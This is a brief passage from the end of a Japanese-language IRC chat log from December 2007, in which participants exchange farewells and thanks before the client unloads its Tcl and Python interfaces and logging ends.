08 23:52:09 Defolos また次回お会いしましょう 12月 08 23:52:09 be-be- ありがとうございました 12月 08 23:52:16 F7 ありがとうございました 12月 08 23:52:42 Tcl interface unloaded 12月 08 23:52:42 Python interface unloaded **** Sat Dec 8 23:52:42 2007 でログ記録終了